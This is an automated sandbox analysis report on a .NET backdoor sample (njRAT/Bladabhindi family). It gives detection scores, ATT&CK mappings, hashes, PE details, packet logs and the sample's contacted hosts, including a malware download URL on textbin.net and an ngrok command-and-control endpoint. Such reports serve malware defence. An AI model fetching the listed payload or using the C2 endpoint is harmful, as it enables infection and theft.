Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	21 Virtualization/Sandbox Evasion	LSASS Memory	21 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	Exfiltration Over Bluetooth	1 Non-Standard Port	SIM Card Swap	Obtain Device Cloud Backups	Network Denial of Service	Domains	Credentials
Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Software Packing	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Ingress Tool Transfer			Data Encrypted for Impact	DNS Server	Email Addresses
Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	12 System Information Discovery	Distributed Component Object Model	Input Capture	Traffic Duplication	2 Non-Application Layer Protocol			Data Destruction	Virtual Private Server	Employee Names
Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Scheduled Transfer	113 Application Layer Protocol			Data Encrypted for Impact	Server	Gather Victim Network Information

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Download Video

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
bRMW.exe	89%	ReversingLabs	ByteCode-MSIL.Backdoor.Bladabhindi
bRMW.exe	74%	Virustotal		Browse
bRMW.exe	100%	Avira	TR/Dropper.Gen7
bRMW.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Link
0.tcp.sa.ngrok.io	14%	Virustotal	Browse
textbin.net	12%	Virustotal	Browse
pt.textbin.net	10%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label	Link
http://pt.textbin.net	100%	Avira URL Cloud	phishing
https://pt.textbin.net	100%	Avira URL Cloud	phishing
https://pt.textbin.net/download/rcd5ihynxw	100%	Avira URL Cloud	malware
http://textbin.net	100%	Avira URL Cloud	phishing
http://textbin.net	12%	Virustotal		Browse
https://pt.textbin.net	9%	Virustotal		Browse
https://pt.textbin.net/download/rcd5ihynxw	10%	Virustotal		Browse
http://pt.textbin.net	10%	Virustotal		Browse

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
0.tcp.sa.ngrok.io	18.229.248.167	true	false	14%, Virustotal, Browse	unknown
textbin.net	148.72.177.212	true	true	12%, Virustotal, Browse	unknown
pt.textbin.net	unknown	unknown	true	10%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pt.textbin.net/download/rcd5ihynxw	true	10%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://pt.textbin.net	bRMW.exe, 00000000.00000002.4453788161.0000000003520000.00000004.00000800.00020000.00000000.sdmp, bRMW.exe, 00000000.00000002.4453788161.000000000357B000.00000004.00000800.00020000.00000000.sdmp	true	9%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	bRMW.exe, 00000000.00000002.4453788161.00000000033E1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://pt.textbin.net	bRMW.exe, 00000000.00000002.4453788161.000000000357B000.00000004.00000800.00020000.00000000.sdmp	false	10%, Virustotal, Browse Avira URL Cloud: phishing	unknown
http://textbin.net	bRMW.exe, 00000000.00000002.4453788161.000000000357B000.00000004.00000800.00020000.00000000.sdmp	false	12%, Virustotal, Browse Avira URL Cloud: phishing	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
18.229.248.167	0.tcp.sa.ngrok.io	United States		16509	AMAZON-02US	false
148.72.177.212	textbin.net	United States		30083	AS-30083-GO-DADDY-COM-LLCUS	true

General Information

Joe Sandbox Version:	38.0.0 Ammolite
Analysis ID:	1346678
Start date and time:	2023-11-23 01:08:05 +01:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 35s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	4
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample file name:	bRMW.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@3/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 11 Number of non-executed functions: 2
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
01:08:56	API Interceptor	3959365x Sleep call for process: bRMW.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
18.229.248.167	x8t0s92DdrMB.exe	Get hash	malicious	Remcos	Browse
	xrLXOb0ukBAK.exe	Get hash	malicious	Remcos	Browse
	bREI.exe	Get hash	malicious	Remcos	Browse
	bREF.exe	Get hash	malicious	Remcos	Browse
	bREJ.exe	Get hash	malicious	Remcos	Browse
	bR0o.exe	Get hash	malicious	Njrat	Browse
	bRdP.exe	Get hash	malicious	Njrat	Browse
	r9yoXOkPES.exe	Get hash	malicious	Njrat	Browse
	89S22heNS4.exe	Get hash	malicious	Njrat	Browse
	bQ5J.exe	Get hash	malicious	Njrat	Browse
	bQ0v.exe	Get hash	malicious	Njrat	Browse
	bQqN.exe	Get hash	malicious	Njrat	Browse
	bQoA.exe	Get hash	malicious	Njrat	Browse
	bQjc.exe	Get hash	malicious	AsyncRAT, DcRat	Browse
	bQh9.exe	Get hash	malicious	Njrat	Browse
	bQcb.exe	Get hash	malicious	Njrat	Browse
	bPTV.exe	Get hash	malicious	Njrat	Browse
	8Epcu3X9YF.exe	Get hash	malicious	Njrat	Browse
	bPAv.exe	Get hash	malicious	Njrat	Browse
	bP72.exe	Get hash	malicious	Njrat	Browse
148.72.177.212	bREM.exe	Get hash	malicious	Njrat	Browse
	resources.exe	Get hash	malicious	AsyncRAT, zgRAT	Browse
	MDE_File_Sample_e884aa3aef73b565a49bf50b5026f03df0b71867.zip	Get hash	malicious	Parallax RAT, RedLine, SectopRAT	Browse
	bR0o.exe	Get hash	malicious	Njrat	Browse
	Go8UUYgt6R.exe	Get hash	malicious	Vidar, zgRAT	Browse
	bRoC.exe	Get hash	malicious	Njrat	Browse
	bQNp.exe	Get hash	malicious	Njrat	Browse
	Dinarski_izvod23001101572573100314958220230928pdf.js	Get hash	malicious	Unknown	Browse
	bQGy.exe	Get hash	malicious	Njrat	Browse
	bQ5J.exe	Get hash	malicious	Njrat	Browse
	Tender_File88377388398_839937_(1).js	Get hash	malicious	Unknown	Browse
	bQqN.exe	Get hash	malicious	Njrat	Browse
	bQoA.exe	Get hash	malicious	Njrat	Browse
	Required_Aircraft_PN#_List.vbs	Get hash	malicious	Quasar	Browse
	https://atpscan.global.hornetsecurity.com/index.php?atp_str=JzUnJ0ZmzN1mh5HJGoOHB6kVNdVe4mvQNOH329HWUx7QFd-kCbnpBmNKnfxhXjAr2E4kRxRa8NDv0j8FxsnW3puyMtEeOgqEa0FDYxmlRTGlTOUgec1oEg2ujzxFKLPTNKoBNWyZUNctTsDwAC3QaY9PnHRyoYK0avyZzlcNmS1yiVpuXsSoafn5iCOT6DbEfwSKASVLuss0utjQ0NEvlDJ6686z3lOOs2ObGQDR9Kw3K_iPNKHv0wjfzAq4MgtGobKJ6NpYDTAWSISzRR5q6XHp97SGnEBOOTtcxpv-3fhzz2ALQ3Y6KiwxqVH6h_gRuSJdfHGeI8Dwc189fqx371OaB8AeoKYnpGCWMLxp4ilQzDcAFRaLR_fzLhvwAROqpnpIJf2cH4AhJUojOjojH47ScCaQvpxBbYWIIzo6I_Dcf7lLlzSiCX6Sq6HDek8	Get hash	malicious	Quasar	Browse
	bQh9.exe	Get hash	malicious	Njrat	Browse
	bQcb.exe	Get hash	malicious	Njrat	Browse
	bPTV.exe	Get hash	malicious	Njrat	Browse
	Document_22_mar.exe	Get hash	malicious	Unknown	Browse
	Document_22_mar.exe	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
textbin.net	resources.exe	Get hash	malicious	AsyncRAT, zgRAT	Browse	148.72.177.212
	MDE_File_Sample_e884aa3aef73b565a49bf50b5026f03df0b71867.zip	Get hash	malicious	Parallax RAT, RedLine, SectopRAT	Browse	148.72.177.212
	Go8UUYgt6R.exe	Get hash	malicious	Vidar, zgRAT	Browse	148.72.177.212
	bP72.exe	Get hash	malicious	Njrat	Browse	172.67.196.83
	bPyy.exe	Get hash	malicious	Njrat	Browse	104.21.52.67
0.tcp.sa.ngrok.io	xuKxxBO9y1gH.exe	Get hash	malicious	XWorm	Browse	54.94.248.37
	xuKxxBO9y1gH.exe	Get hash	malicious	XWorm	Browse	18.228.115.60
	x8t0s92DdrMB.exe	Get hash	malicious	Remcos	Browse	18.229.146.63
	xcYJfxDKL0Sk.exe	Get hash	malicious	Remcos	Browse	54.94.248.37
	xbOnlYALvtUq.exe	Get hash	malicious	Njrat, zgRAT	Browse	18.228.115.60
	xrLXOb0ukBAK.exe	Get hash	malicious	Remcos	Browse	18.229.248.167
	bREM.exe	Get hash	malicious	Njrat	Browse	18.228.115.60
	bREI.exe	Get hash	malicious	Remcos	Browse	18.228.115.60
	bREF.exe	Get hash	malicious	Remcos	Browse	18.229.248.167
	bREJ.exe	Get hash	malicious	Remcos	Browse	18.228.115.60
	TP5FS5NkvS.exe	Get hash	malicious	Njrat	Browse	18.231.93.153
	bR0o.exe	Get hash	malicious	Njrat	Browse	18.229.248.167
	bRoC.exe	Get hash	malicious	Njrat	Browse	18.228.115.60
	bRdP.exe	Get hash	malicious	Njrat	Browse	18.229.248.167
	s1I8Ulbz55.exe	Get hash	malicious	Njrat	Browse	54.94.248.37
	KagRCB8ZhQ.exe	Get hash	malicious	Njrat	Browse	18.229.146.63
	r9yoXOkPES.exe	Get hash	malicious	Njrat	Browse	18.228.115.60
	bQNp.exe	Get hash	malicious	Njrat	Browse	18.228.115.60
	bQGy.exe	Get hash	malicious	Njrat	Browse	18.231.93.153
	89S22heNS4.exe	Get hash	malicious	Njrat	Browse	18.229.248.167

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AMAZON-02US	https://pub-6b5aaf7cd2b347388b7445d2bcff0d21.r2.dev/Security_on_your_card_account.html	Get hash	malicious	HTMLPhisher	Browse	52.16.243.40
	https://pub-72c39f0fa8e34066a761fbf215e0bcfa.r2.dev/secureonline.html	Get hash	malicious	HTMLPhisher	Browse	52.85.247.3
	https://www.wvaqo.site/login	Get hash	malicious	Unknown	Browse	54.65.50.71
	https://trk.klclick3.com/ls/click?upn=ywBj43t9mVZI2hb2gzrWF4bMz7Wfh7oKn-2BKSaxaMVhwlDkzCGgpF52NJfoGHrmcr-2FVGLByUs9bBBzGRnhfv1IYNCLKFsRyeEJgp-2BJkWzRRNeg-2F1NhD-2BM-2BuUP6MdYBFwXZZLT5cjKEeWJvqXcON7lji0czOZx578-2FTJ-2BHGOyiK04-3DP8j__PoPSv5Gw7kvm-2FaTPf5isV0F8OzVemx3-2BMda5lKttFwV5hYNASaBIOvhduvo23ZgN-2F8HqQRRSFyPnwsEPnCA4w6P3MZBb-2Fu7ndoP5jkyHgtN6dOwA89Umc-2FDfjsKJNza7njbbEuTHcBJqWPDB2oOMb79mKCtaWFtUJ1sB97CXpCTZJ6IXUhV6-2BN0KD1G3k3-2FhVSvjN6n77sRbrvW3ysGQm0ZvClDFCSQ4Dcb7GPbDYZ7gnvmRDBhXixKTOeoXGlGB-2Be6FG-2Bs2xFqVz15IbyuYVkXWvER3oQ6wqAmMhlaDCEcujrNn-2Bl4k7WI4tqlgiSQJ	Get hash	malicious	Unknown	Browse	52.85.151.72
	https://bafybeiggghz2g3z2auhspgqibetl34b65cqzkrolxrfxrteykwl65zlygy.ipfs.dweb.link/	Get hash	malicious	HTMLPhisher	Browse	54.69.249.173
	https://s3.amazonaws.com/production.jobspeaker.com/processor_jobspeaker_com-jobspeaker/asset/document/92241/Health_Care_Asst.doc	Get hash	malicious	Unknown	Browse	52.216.209.144
	Credit11222023.html	Get hash	malicious	HTMLPhisher	Browse	108.156.152.114
	https://s3.amazonaws.com/production.jobspeaker.com/processor_jobspeaker_com-jobspeaker/asset/document/92241/Health_Care_Asst.doc	Get hash	malicious	Unknown	Browse	52.217.234.168
	Order_confirmation,_Invoice.exe	Get hash	malicious	DBatLoader, FormBook	Browse	44.227.76.166
	http://fixme.it	Get hash	malicious	Unknown	Browse	54.67.6.72
	http://lightenacquired.xyz	Get hash	malicious	Unknown	Browse	108.128.140.247
	https://clk.tradedoubler.com/click?p=278091&a=2933441&g=25348792&url=http%3A%2F%2Finkz.com.au/%2Fallow%2Fks71M0Ti2rXALZi%2F%2F%2F%2FcGF0cmlja0BhbmRhcmlhLmNvbQ==	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	35.161.33.140
	https://storage.googleapis.com/fedexfr/hreflj.html#?Z289MSZzMT0xNzQzNzkwJnMyPTM2NjgzMjYyNyZzMz1HTEI=	Get hash	malicious	Phisher	Browse	3.130.184.110
	justificante_de_pago.exe	Get hash	malicious	FormBook, GuLoader	Browse	52.84.162.24
	v5S9SdJgPx.elf	Get hash	malicious	Mirai	Browse	63.32.217.87
	UbaytFXa8M.elf	Get hash	malicious	Mirai	Browse	54.247.62.1
	ccbS3mSC4n.elf	Get hash	malicious	Mirai	Browse	130.177.7.83
	Proforma_Invoice.exe	Get hash	malicious	DBatLoader, FormBook	Browse	54.67.42.145
	https://public-cdn.bambulab.com/upgrade/studio/software/01.07.07.89/b60b436b40/Bambu_Studio_win-v01.07.07.89.exe	Get hash	malicious	Unknown	Browse	99.84.208.32
	VBUXm77rfL.exe	Get hash	malicious	Njrat	Browse	18.157.68.73
AS-30083-GO-DADDY-COM-LLCUS	bREM.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	resources.exe	Get hash	malicious	AsyncRAT, zgRAT	Browse	148.72.177.212
	MDE_File_Sample_e884aa3aef73b565a49bf50b5026f03df0b71867.zip	Get hash	malicious	Parallax RAT, RedLine, SectopRAT	Browse	148.72.177.212
	bR0o.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	Go8UUYgt6R.exe	Get hash	malicious	Vidar, zgRAT	Browse	148.72.177.212
	bRoC.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	bQNp.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	Dinarski_izvod23001101572573100314958220230928pdf.js	Get hash	malicious	Unknown	Browse	148.72.177.212
	http://educations.com.de	Get hash	malicious	Unknown	Browse	199.217.116.41
	bQGy.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	bQ5J.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	Tender_File88377388398_839937_(1).js	Get hash	malicious	Unknown	Browse	148.72.177.212
	bQqN.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	bQoA.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	Required_Aircraft_PN#_List.vbs	Get hash	malicious	Quasar	Browse	148.72.177.212
	https://atpscan.global.hornetsecurity.com/index.php?atp_str=JzUnJ0ZmzN1mh5HJGoOHB6kVNdVe4mvQNOH329HWUx7QFd-kCbnpBmNKnfxhXjAr2E4kRxRa8NDv0j8FxsnW3puyMtEeOgqEa0FDYxmlRTGlTOUgec1oEg2ujzxFKLPTNKoBNWyZUNctTsDwAC3QaY9PnHRyoYK0avyZzlcNmS1yiVpuXsSoafn5iCOT6DbEfwSKASVLuss0utjQ0NEvlDJ6686z3lOOs2ObGQDR9Kw3K_iPNKHv0wjfzAq4MgtGobKJ6NpYDTAWSISzRR5q6XHp97SGnEBOOTtcxpv-3fhzz2ALQ3Y6KiwxqVH6h_gRuSJdfHGeI8Dwc189fqx371OaB8AeoKYnpGCWMLxp4ilQzDcAFRaLR_fzLhvwAROqpnpIJf2cH4AhJUojOjojH47ScCaQvpxBbYWIIzo6I_Dcf7lLlzSiCX6Sq6HDek8	Get hash	malicious	Quasar	Browse	148.72.177.212
	bQh9.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	bQcb.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	bPTV.exe	Get hash	malicious	Njrat	Browse	148.72.177.212
	file.exe	Get hash	malicious	Fabookie, PrivateLoader, RedLine, SmokeLoader, Tofsee	Browse	148.72.158.178

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	SecuriteInfo.com.Win32.PWSX-gen.24530.32631.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	file.exe	Get hash	malicious	Babuk, Clipboard Hijacker, Djvu, Glupteba, RedLine, SmokeLoader, Vidar	Browse	148.72.177.212
	https://selligenttier.naylorcampaigns.com/track?type=click&enid=ZWFzPTEmbXNpZD0mYXVpZD0mbWFpbGluZ2lkPTYyNDExMiZtZXNzYWdlaWQ9NjI0MTEyJmRhdGFiYXNlaWQ9NjI0MTEyJnNlcmlhbD0xNjgyODQwNyZlbWFpbGlkPVRpbUBFbGV2YXRlZGNnLmNvbSZ1c2VyaWQ9MjExMTg2JnRhcmdldGlkPSZtbj0mZmw9Jm12aWQ9JmV4dHJhPSYmJg==&&&9999&&&https://instantwaspremoval.com.au/neww/review/wx0u21/Z3JhZW1lQGU2aW5jLnBybw==	Get hash	malicious	Unknown	Browse	148.72.177.212
	Commercial_Invoice.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	202311218800-INV62009HX66549.scr.exe	Get hash	malicious	zgRAT	Browse	148.72.177.212
	SecuriteInfo.com.Win32.PWSX-gen.27953.18773.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	ordref_bomyogeshd_20112023165922.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	DHL_AWB733988905AA.jse	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	PURCHASE_ORDER_#4500082142.jse	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	https://icsta.page.link/rniX	Get hash	malicious	Unknown	Browse	148.72.177.212
	https://qrco.de/beZX4t	Get hash	malicious	HTMLPhisher	Browse	148.72.177.212
	SecuriteInfo.com.Trojan.Inject4.59820.16624.18058.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	https://linkpop.com/custom9392	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	148.72.177.212
	https://clk.tradedoubler.com/click?p=278091&a=2933441&g=25348792&url=http%3A%2F%2Finkz.com.au/%2Fallow%2Fks71M0Ti2rXALZi%2F%2F%2F%2FcGF0cmlja0BhbmRhcmlhLmNvbQ==	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	148.72.177.212
	Payments_Copy.pdf.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	SecuriteInfo.com.Trojan.Inject4.59820.18239.21451.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	Soft.exe	Get hash	malicious	RedLine	Browse	148.72.177.212
	z38DHLs_Express.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212
	Soft.exe	Get hash	malicious	RedLine	Browse	148.72.177.212
	LAM_CHUAN_#710036288.exe	Get hash	malicious	AgentTesla	Browse	148.72.177.212

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.471907395281321
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	bRMW.exe
File size:	27'136 bytes
MD5:	fa139ae9c858237134267631faea725b
SHA1:	47761a9ab45df5ee6cb016252b598906c60b92d9
SHA256:	2f8ea8aa8c05d94beedf55231e5a354534d3c8ff9c57e6a78ee58c6d9ed533d9
SHA512:	5b1b70ff0cd80a43531697bc712ef19e8886cf09d59eaf861ed49899281380e311f252d9c5c1cae4ac611699a6c9ae1e3b9fe2d4b67f9a4dcde56d608be21c36
SSDEEP:	384:LLd6cufEYAA/XgWeyoHzCYe/iBY2OzRLTm3yilqr63+bGtVvGD:fl8AA/6T5e/gsEZVvGD
TLSH:	9DC2195D3B908166C2EF2BB006B2DB2502F2E10B5A17EB5F4CD844FA6B773C14D819E5
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....^e.................`...........~... ........@.. ....................................@................................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x407e1e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x655E94C2 [Wed Nov 22 23:54:42 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7dc4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x8000	0x4d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0xa000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x5e24	0x6000	False	0.4954020182291667	data	5.651947071182076	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x8000	0x4d8	0x600	False	0.37109375	data	3.6941710688974494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0xa000	0xc	0x200	False	0.044921875	data	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x80a0	0x244	data			0.46206896551724136
RT_MANIFEST	0x82e8	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 989
• 11137 undefined
• 443 (HTTPS)
• 53 (DNS)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 23, 2023 01:08:53.051096916 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.051136971 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.051234007 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.062108040 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.062119961 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.322118044 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.322338104 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.325031996 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.325037003 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.325277090 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.373516083 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.397392035 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.441289902 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.810070992 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.810323954 CET	443	49704	148.72.177.212	192.168.2.5
Nov 23, 2023 01:08:53.810493946 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.812608957 CET	49704	443	192.168.2.5	148.72.177.212
Nov 23, 2023 01:08:53.954174995 CET	49705	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:08:54.161600113 CET	11137	49705	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:54.670442104 CET	49705	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:08:54.877985954 CET	11137	49705	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:55.389328957 CET	49705	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:08:55.596746922 CET	11137	49705	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:56.107928991 CET	49705	11137	192.168.2.5	18.229.248.167
Nov 23, 2023 01:08:56.315886974 CET	11137	49705	18.229.248.167	192.168.2.5
Nov 23, 2023 01:08:56.826636076 CET	49705	11137	192.168.2.5	18.229.248.167
